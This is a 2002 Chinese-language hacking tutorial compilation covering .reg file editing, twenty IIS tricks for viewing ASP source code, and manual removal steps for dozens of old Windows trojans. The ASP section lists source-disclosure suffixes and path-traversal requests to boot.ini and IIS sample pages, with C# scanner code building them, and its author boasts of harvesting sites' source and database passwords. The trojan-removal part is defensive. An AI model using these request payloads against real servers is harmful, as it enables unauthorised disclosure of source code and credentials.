编者的话

    教材里所收集的文章都来源于网络，其中一些文章作者信息已经遗失，限本人精力有限，无法补全，还请见谅了。(如有不满情绪，请按这里骂我就好)。教材中部分内容代有攻击性和破坏性，清者自清、浊者自浊，也不想在写什么“标语”性的东西。任何人都可以自由传播此教材，并可以填加其内容，但恳请不要删除或改变目录结构！最后，向这些文章的作者说一声，谢谢了~！

2002/08/07

制作整理 沉睡不醒
献给和我一样苦苦学习的菜鸟门
 http://sss444.126.com
e-mail: leiliao00000@sian.com


“.reg”文件全攻略

有的时候为了方便修改注册表，我们会制作一些脚本，但是不管是inf文件还是vbs脚本，我觉得还是只有.reg文件是最方便的。

关于注册表的操作，常见的是创建、修改、删除。

--创建

创建分为两种，一种是创建子项(Subkey)
注：如果你对注册表的命名不是很清楚，可以看看注册表命名标准手册(http://www.sometips.com/tips/registryhack/204.htm)

我们创建一个文件，内容如下：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Test4Adam]

然后执行该脚本，你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\下创建了一个名字为“Test4Adam”的子项。

另一种是创建一个项目名称
那这种文件格式就是典型的文件格式，和你从注册表中导出的文件格式一致，内容如下：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Test4Adam]
"Test1"="Adam"
"Test2"=hex:61
"Test3"=dword:00000064

Test1的类型是“String Value”
Test2的类型是“Binary Value”
Test3的类型是“DWORD Value”

注意：如果你的注册表中不存在Test4Adam这个子项，那么该脚本会为你创建该子项。

--修改
修改相对来说比较简单，只要把你需要修改的项目导出，然后用记事本进行修改，然后导入即可，在此我就不再赘述。 --删除
我们首先来说说删除一个项目名称，我们创建一个如下的文件：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Test4Adam]
"Test1"=-

执行该脚本，HKEY_LOCAL_MACHINE\SOFTWARE\Test4Adam下的"Test1"就被删除了；

我们再看看删除一个子项，我们创建一个如下的脚本：

Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINE\SOFTWARE\Test4Adam]

执行该脚本，HKEY_LOCAL_MACHINE\SOFTWARE\Test4Adam就已经被删除了。

相信看到这里，.reg文件你基本已经掌握了。

最后，在此感谢John Savill。


20种看asp源码的方法及工具

众所周知windows平台漏洞百出，补丁一个接一个，但总是补也补不净。我把我所知道的20种看asp源码的方法总结了一下，并且用c#写了个应用程序来扫描这些漏洞，发现虽然大部分的方法已经不起做用，但还是有一些漏网之鱼的：），结果这两天真看到不少站的源代码，包括数据库密码，如果用access的可以把库下载下来，而用sql server的如果不是用udl,dsn等来连接的话，也可以通过tcp/ip网络库连接到数据库，为所欲为呀。先面把这20种方法列在下面：

.
%81
::DATA
%2e
%2e%41sp
+.htr
\\
longhtr
.bak
codebrws.asp
showcode.asp
null.htw
qfullhit.htw
qsumrhit.htw
query.idq
search/qfullhit.htw
search/qsumrhit.htw
iirturnh.htw
.htw
Translate:f

上边这些漏洞前面10几条是通过在asp文件后直接加上，如%81就是xxx.asp%81，后面这些都是通过iis自带的例子或系统漏洞实现的，最特别的是那种translate:f方法，它直接通过浏览器是无法使用的，必须同服务器建立tcp/ip的socket连接，发送请求才行，具体每个漏洞如何使用，看下面，这是我那个应用程序的一部分，如果你要全部的可以到我的站点去下载。

switch (this.cboMethod.SelectedIndex)
{
case 0: //直接读取
strRequestFile = strServer + strUrl ;
break ;
case 5 : //%2e%41sp
strRequestFile = strServer + strPath + strFirst
+ "%2e%41sp" ;
break ;
case 8 : //longhtr
strRequestFile = strServer + strUrl
+ "+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htr" ;
break ;

case 10: //codebrws.asp
strRequestFile = strServer + "/iissamples/exair/howitworks/codebrws.asp?source="
+ strUrl ;
break ;

case 11: //showcode.asp
strRequestFile = strServer + "/iissamples/exair/howitworks/codebrws.asp?source="
+ "/msadc/../../../../boot.ini" ;
break;

case 12 : //null.htw
strRequestFile = strServer + "/null.htw?CiWebHitsFile="
+ strUrl + "%20&CiRestriction=none&CiHiliteType=Full" ;
break ;
case 13 : //qfullhit.htw
strRequestFile = strServer + "/iissamples/issamples/oop/qfullhit.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full";
break ;

case 14 : //qsumrhit.htw
strRequestFile = strServer + "/iissamples/issamples/oop/qsumrhit.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full";
break ;

case 15 : //query.idq
strRequestFile = strServer + "/query.idq?CiTemplate=/../../boot.ini"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htx";
break ;

case 16: //search/qfullhit.htw
strRequestFile = strServer + "/iissamples/exair/search/qfullhit.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full";
break ;

case 17: // search/qsumrhit.htw
strRequestFile = strServer + "/iissamples/exair/search/qsumrhit.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full";
break ;

case 18: //iirturnh.htw
strRequestFile = strServer + "/iishelp/iis/misc/iirturnh.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full";
break ;

case 19: //.htw
strRequestFile = strServer + strUrl
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full" ;
break ;

default:
strRequestFile = strServer + strUrl + this.cboMethod.Text ;
}


55种木马的手工清除

1. 冰河v1.1 v2.2
这是国产最好的木马 作者：黄鑫

清除木马v1.1
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
查找以下的两个路径，并删除
" C:\windows\system\ kernel32.exe"
" C:\windows\system\ sysexplr.exe"
关闭Regedit
重新启动到MSDOS方式
删除C:\windows\system\ kernel32.exe和C:\windows\system\ sysexplr.exe木马程序
重新启动。OK

清除木马v2.2
服务器程序、路径用户是可以随意定义，写入注册表的键名也可以自己定义。
因此，不能明确说明。
你可以察看注册表，把可疑的文件路径删除。
重新启动到MSDOS方式
删除于注册表相对应的木马程序
重新启动Windows。OK

2. Acid Battery v1.0
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
删除右边的Explorer ="C:\WINDOWS\expiorer.exe"
关闭Regedit
重新启动到MSDOS方式
删除c:\windows\expiorer.exe木马程序
注意：不要删除正确的ExpLorer.exe程序，它们之间只有i与L的差别。
重新启动。OK

3. Acid Shiver v1.0 + 1.0Mod + lmacid
清除木马的步骤：
重新启动到MSDOS方式
删除C:\windows\MSGSVR16.EXE
然后回到Windows系统
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
删除右边的Explorer = "C:\WINDOWS\MSGSVR16.EXE"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
删除右边的Explorer = "C:\WINDOWS\MSGSVR16.EXE"
关闭Regedit
重新启动。OK
重新启动到MSDOS方式
删除C:\windows\wintour.exe然后回到Windows系统
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
删除右边的Wintour = "C:\WINDOWS\WINTOUR.EXE"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
删除右边的Wintour = "C:\WINDOWS\WINTOUR.EXE"
关闭Regedit
重新启动。OK

4. Ambush
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
删除右边的zka = "zcn32.exe"
关闭Regedit
重新启动到MSDOS方式
删除C:\Windows\ zcn32.exe
重新启动。OK

5. AOL Trojan
清除木马的步骤：
启动到MSDOS方式
删除C:\ command.exe（删除前取消文件的隐含属性）
注意：不要删除真的command.com文件。
删除C:\ americ~1.0\buddyl~1.exe（删除前取消文件的隐含属性）
删除C:\ windows\system\norton~1\regist~1.exe（删除前取消文件的隐含属性）
打开WIN.INI文件
在[WINDOWS]下面"run="和"load="都加载者特洛伊木马程序的路径，必须清除它们：
run=
load=
保存WIN.INI
还要改正注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
删除右边的WinProfile = c:\command.exe
关闭Regedit，重新启动Windows。OK

6. Asylum v0.1, 0.1.1, 0.1.2, 0.1.3 + Mini 1.0, 1.1
清除木马的步骤：
注意：木马程序默认文件名是wincmp32.exe，然而程序可以随意改变文件名。
我们可以根据木马修改的system.ini和win.ini两个文件来清除木马。
打开system.ini文件
在[BOOT]下面有个"shell=文件名"。正确的文件名是explorer.exe
如果不是"explorer.exe"，那么那个文件就是木马程序，把它查找出来，删除。
保存退出system.ini
打开win.ini文件
在[WINDOWS]下面有个run=
如果你看到=后面有路径文件名，必须把它删除。
正确的应该是run=后面什么也没有。
=后面的路径文件名就是木马，把它查找出来，删除。
保存退出win.ini。
OK

7. AttackFTP
清除木马的步骤：
打开win.ini文件
在[WINDOWS]下面有load=wscan.exe
删除wscan.exe ，正确是load=
保存退出win.ini。
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
删除右边的Reminder="wscan.exe /s"
关闭Regedit，重新启动到MSDOS系统中
删除C:\windows\system\ wscan.exe
OK

8. Back Construction 1.0 - 2.5
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
删除右边的"C:\WINDOWS\Cmctl32.exe"
关闭Regedit，重新启动到MSDOS系统中
删除C:\WINDOWS\Cmctl32.exe
OK

9. BackDoor v2.00 - v2.03
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
删除右边的'c:\windows\notpa.exe /o=yes'
关闭Regedit，重新启动到MSDOS系统中
删除c:\windows\notpa.exe
注意：不要删除真正的notepad.exe笔记本程序
ＯＫ

10. BF Evolution v5.3.12
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
删除右边的(Default)=" "
关闭Regedit，再次重新启动计算机。
将C:\windows\system\ .exe（空格exe文件）
ＯＫ

11. BioNet v0.84 - 0.92 + 2.21
0.8X版本是运行在Win95/98
0.9X以上版本有运行在Win95/98 和WinNT上两个软件
客户－服务器协议是一样的，因而NT客户能黑95/98被感染的机器，和Win95/98客户能黑
NT被感染的系统完全一样。
清除木马的步骤：
首先准备一张98的启动盘，用它启动后，进入c:\windows目录下，用attrib libupd~1.
exe -h
命令让木马程序可见，然后删除它。
抽出软盘后重新启动，进入98下，在注册表里找到：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
的子键WinLibUpdate = "c:\windows\libupdate.exe -hide"
将此子键删除。

12. Bla v1.0 - 5.03
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
删除右边的Systemdoor = "C:\WINDOWS\System\mprdll.exe"
关闭Regedit，重新启动计算机。
查找到C:\WINDOWS\System\mprdll.exe和
C:\WINDOWS\system\rundll.exe
注意：不要删除C:\WINDOWS\RUNDLL.EXE正确文件。
并删除两个文件。
OK

13. BladeRunner
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
可以找到System-Tray = "c:\something\something.exe"
右边的路径可能是任何东西，这时你不需要删除它，因为木马会立即自动加上，你需要
的是记下木马的名字与目录，然后退回到MS-DOS下，找到此木马文件并删除掉。
重新启动计算机，然后重复第一步，在注册表中找到木马文件并删除此键。

14. Bobo v1.0 - 2.0
清除木马v1.0
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
删除右边的DirrectLibrarySupport ="C:\WINDOWS\SYSTEM\Dllclient.exe"
关闭Regedit，重新启动计算机。
DEL C:\Windows\System\Dllclient.exe
OK
清除木马v2.0
打开注册表Regedit
点击目录至：
HKEY_USER/.Default/Software/Mirabilis/ICQ/Agent/Apps/ICQ Accel/
ICQ Accel是一个“假象“的主键，选中ICQ Accel主键并把它删除。
重新启动计算机。OK

15. BrainSpy vBeta
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
右边有 ??? = "C:\WINDOWS\system\BRAINSPY .exe"
???标签选是随意改变的。
关闭Regedit，重新启动计算机
查找删除C:\WINDOWS\system\BRAINSPY .exe
ＯＫ

16. Cain and Abel v1.50 - 1.51
这是一个口令木马
进入MS-DOS方式
查找到C:\windows\msabel32.exe
并删除它。ＯＫ

17. Canasson
清除木马的步骤：
打开WIN.INI文件
查找c:\msie5.exe，删除全部主键
保存win.ini
重新启动计算机
删除c:\msie5.exe木马文件
ＯＫ

18. Chupachbra
清除木马的步骤：
打开WIN.INI文件
[Windows]的下面有两个行
run=winprot.exe
load=winprot.exe
删除winprot.exe
run=
load=
保存Win.ini，再打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\MicroSoft\Windows\CurrentVersion\Run
删除右边的'System Protect' = winprot.exe
重新启动Windows
查找到C:\windows\system\ winprot.exe，并删除。
ＯＫ

19. Coma v1.09
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\MicroSoft\Windows\CurrentVersion\Run
删除右边的'RunTime' = C:\windows\msgsrv36.exe
重新启动Windows
查找到C:\windows\ msgsrv36.exe，并删除。
ＯＫ

20. Control
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\MicroSoft\Windows\CurrentVersion\Run
删除右边的Load MSchv Drv = C:\windows\system\MSchv.exe
保存Regedit，重新启动Windows
查找到C:\windows\system\MSchv.exe，并删除。
ＯＫ

21. Dark Shadow
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\MicroSoft\Windows\CurrentVersion\RunServices
删除右边的winfunctions="winfunctions.exe"
保存Regedit，重新启动Windows
查找到C:\windows\system\ winfunctions.exe，并删除。
ＯＫ

22. DeepThroat v1.0 - 3.1 + Mod (Foreplay)
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\MicroSoft\Windows\CurrentVersion\Run
版本1.0
删除右边的项目'System32'=c:\windows\system32.exe
版本2.0-3.1
删除右边的项目'SystemTray' = 'Systray.exe'
保存Regedit，重新启动Windows
版本1.0删除c:\windows\system32.exe
版本2.0-3.1
删除c:\windows\system\systray.exe
ＯＫ

23. Delta Source v0.5 - 0.7
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\MicroSoft\Windows\CurrentVersion\Run
删除右边的项目：DS admin tool = C:\TEMPSERVER.exe
保存Regedit，重新启动Windows
查找到C:\TEMPSERVER.exe，并删除它。
ＯＫ

24. Der Spaeher v3
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\MicroSoft\Windows\CurrentVersion\Run
删除右边的项目：explore = "c:\windows\system\dkbdll.exe "
保存Regedit，重新启动Windows
删除c:\windows\system\dkbdll.exe木马文件。
ＯＫ

--

25. Doly v1.1 - v1.7 (SE)
清除木马V1.1-V1.5版本：
这几个木马版本的木马程序放在三处，增加二个注册项目，还增加到Win.ini项目。
首先，进入MS-DOS方式，删除三个木马程序，但V1.35版本多一个木马文件mdm.exe。
把下列各项全部删除：
C:\WINDOWS\SYSTEM\tesk.sys
C:\WINDOWS\Start Menu\Programs\Startup\mstesk.exe
c:\Program Files\MStesk.exe
c:\Program Files\Mdm.exe
重新启动Windows。
接着，打开win.ini文件
找到[WINDOWS]下面load=c:\windows\system\tesk.exe项目，删除路径，改变为load=
保存win.ini文件。
最后，修改注册表Regedit
找到以下两个项目并删除它们
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Ms tesk = "C:\Program Files\MStesk.exe"
和
HKEY_USER\.Default\Software\Microsoft\Windows\CurrentVersion\Run
Ms tesk = "C:\Program Files\MStesk.exe"
再寻找到HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ss
这个组是木马的全部参数选择和设置的服务器，删除这个ss组的全部项目。
关闭保存Regedit。
还有打开C:\AUTOEXEC.BAT文件，删除
@echo off copy c:\sys.lon c:\windows\StartMenu\Startup Items\
del c:\win.reg
关闭保存autoexec.bat。
ＯＫ

清除木马V1.6版本：
该木马运行时，将不能通过98的正常操作关闭，只能RESET键。彻底清除步骤如下：
1．打开控制面板——添加删除程序——删除memory manager 3.0，这就是木马程序，但
是它并不会把木马的EXE文件删除掉。
2．用98或DOS启动盘启动（用RESET键）后，转入C:\，编辑AUTOEXEC。BAT，把如下内容
删除：
@echo off copy c:\sys.lon c:\windows\startm~1\programs\startup\mdm.exe
del c:\win.reg
保存AUTOEXEC。BAT文件并返回DOS后，在C：\根目录下删除木马文件：
del sys.lon
del windows\startm~1\programs\startup\mdm.exe
del progra~1\mdm.exe
3．抽出软盘重新启动，进入98后，把c:\program files\目录下的memory manager 目录
删除。

清除木马V1.7版本：
首先，打开C:\AUTOEXEC.BAT文件，删除
@echo off copy c:\sys.lon c:\windows\startm~1\programs\startup\mdm.exe
del c:\win.reg
关闭保存autoexec.bat
然后打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\MicroSoft\Windows\CurrentVersion\Run
找到c:\windows\system\mdm.exe路径并删除这个项目
点击目录至：
HKEY_USER/.Default/Software/Marabilis/ICQ/Agent/Apps/
找到"C:\windows\system\kernal32.exe"路径并删除这个项目
关闭保存Regedit。重新启动Windows。
最后，删除以下木马程序：
c:\sys.lon
c:\iecookie.exe
c:\windows\start menu\programs\startup\mdm.exe
c:\program files\mdm.exe
c:\windows\system\mdm.exe
c:\windows\system\kernal32.exe
注意：kernal32是Ａ
ＯＫ

26. Revenger v1.0 - 1.5
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
删除右边的项目：AppName ="C:\...\server.exe"
关闭保存Regedit，重新启动Windows
在c:\windows查找相应的木马程序server.exe，并删除
ＯＫ

27. Ripper
清除木马的步骤：
打开system.ini文件
将shell=explorer.exe sysrunt.exe
改为shell= explorer.exe
关闭保存system.ini，重新启动Windows
在c:\windows查找相应的木马程序sysrunt.exe，并删除
ＯＫ

28. Satans Back Door v1.0
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\
删除右边的项目：sysprot protection ="C:\windows\sysprot.exe"
关闭保存Regedit，重新启动Windows
删除C:\windows\sysprot.exe
ＯＫ

29. Schwindler v1.82
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
删除右边的项目：User.exe = "C:\WINDOWS\User.exe"
关闭保存Regedit，重新启动Windows
删除C:\WINDOWS\User.exe
ＯＫ

30. Setup Trojan (Sshare) +Mod Small Share
这个共享隐藏Ｃ盘的木马
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\

选择右边有'C$'的项目，并全部删除
关闭保存Regedit，重新启动Windows
ＯＫ

31. ShadowPhyre v2.12.38 - 2.X
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
删除右边的项目：WinZipp = "C:\WINDOWS\SYSTEM\WinZipp.exe /nomsg"
或者WinZip = "C:\WINDOWS\SYSTEM\WinZip.exe /nomsg"
关闭保存Regedit，重新启动Windows
删除C:\WINDOWS\ WinZipp.exe或者C:\WINDOWS\ WinZip.exe
ＯＫ

32. Share All
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\

这里你将看到所有被木马共享出来的你的硬盘符号，把它们一个个删除掉。

33. ShitHeap
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\
删除右边的项目：recycle-bin = "c:\windows\system\recycle-bin.exe"
或者recycle-bin = "c:\windows\system.exe"
关闭保存Regedit，重新启动Windows
删除c:\windows\system\recycle-bin.exe或者c:\windows\system.exe
ＯＫ

34. Snid v1 - 2
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
删除右边的项目：System-tray = 'c:\windows\temp$01.exe'
关闭保存Regedit，重新启动Windows
删除c:\windows\temp$01.exe
ＯＫ

35. Softwarst
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
删除右边的项目：NetApp = C:\windows\system\winserv.exe
关闭保存Regedit，重新启动Windows
删除C:\windows\system\winserv.exe
ＯＫ

36. Spirit 2000 Beta - v1.2 (fixed)
清除木马v Beta版本:
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
删除右边的项目：internet = "c:\windows\netip.exe "
关闭保存Regedit
打开win.ini文件
查找到run=c:\windows\netip.exe
更改为：run=
关闭保存win.ini，重新启动Windows
删除c:\windows\netip.exe和c:\windows\netip.exe
ＯＫ
清除木马v 1.2版本:
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
删除右边的项目：SystemTray = "c:\windows\windown.exe "
关闭保存Regedit，重新启动Windows
删除c:\windows\windown.exe
ＯＫ
清除木马v 1.2(fixed)版本:
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
删除右边的项目：Server 1.2.exe = "c:\windows\server 1.2.exe"
关闭保存Regedit，重新启动Windows
删除c:\windows\server 1.2.exe
ＯＫ

37. Stealth v2.0 - 2.16
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
删除右边的项目：Winprotect System = "C:\WINDOWS\winprotecte.exe
关闭保存Regedit，重新启动Windows
删除C:\WINDOWS\winprotecte.exe
ＯＫ

38. SubSeven - Introduction
清除木马v1.0 - 1.1：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
删除右边的项目：SystemTrayIcon = "C:\WINDOWS\SysTrayIcon.Exe"
关闭保存Regedit，重新启动Windows
删除C:\WINDOWS\SysTrayIcon.Exe
ＯＫ
清除木马v1.3 - 1.4 - 1.5：
打开win.ini文件
查找到run=nodll
更改为run=
关闭保存win.ini，重新启动Windows
删除c:\windows\nodll.exe
ＯＫ
清除木马v1.6：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
删除右边的项目：SystemTray = "SysTray.Exe"
关闭保存Regedit，重新启动Windows
删除C:\windows\systray.exe
ＯＫ
清除木马v1.7：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
\
查找到右边的项目：C:\windows\kernel16.dl，并删除
关闭保存Regedit，重新启动Windows
删除C:\windows\kernel16.dl
ＯＫ
清除木马v1.8：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run和
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
\
查找到右边的项目：c:\windows\system.ini.，并删除
关闭保存Regedit。
打开win.ini文件
查找到run= kernel16.dl
更改为run=
关闭保存win.ini。
打开system.ini文件
查找到shell=explorer.exe kernel32.dl
更改为shell=explorer.exe
关闭保存system.ini，重新启动Windows
删除C:\windows\kernel16.dl
ＯＫ
清除木马v1.9 - 1.9b：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run和
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
\
删除右边的项目：RegistryScan = "rundll16.exe"
关闭保存Regedit，重新启动Windows
删除C:\windows\rundll16.exe
ＯＫ
清除木马v2.0：
打开system.ini文件
查找到shell=explorer.exe trojanname.exe
更改为shell=explorer.exe
关闭保存system.ini，重新启动Windows
删除c:\windows\rundll16.exe
ＯＫ
清除木马v2.1 - 2.1 Gold + SubStealth- 2.1.3 Mod + 2.1.3 MUIE + 2.1 Bonus：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run和
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
\
删除右边的项目：WinLoader = MSREXE.EXE
hkey_classes_root\exefile\shell\open\command
将右边的项目更改为：@="\"%1\" %*"
关闭保存Regedit。
打开win.ini文件
查找到run=msrexe.exe和
load=msrexe.exe
更改为run=
load=
关闭保存win.ini。
打开system.ini文件
查找到shell=explore.exe msrexe.exe
更改为shell=explorer.exe
关闭保存system.ini，重新启动Windows
删除C:\windows\ msrexe.exe
C:\windows\system\systray.dll
ＯＫ
清除木马v2.2b1：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run和
删除右边的项目：加载器 = "c:\windows\system\***"
注：加载器和文件名是随意改变的
关闭保存Regedit。
打开win.ini文件
更改为run=
关闭保存win.ini。
打开system.ini文件
更改为shell=explorer.exe
关闭保存system.ini，重新启动Windows
删除相对应的木马程序
ＯＫ

39. Telecommando 1.54
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
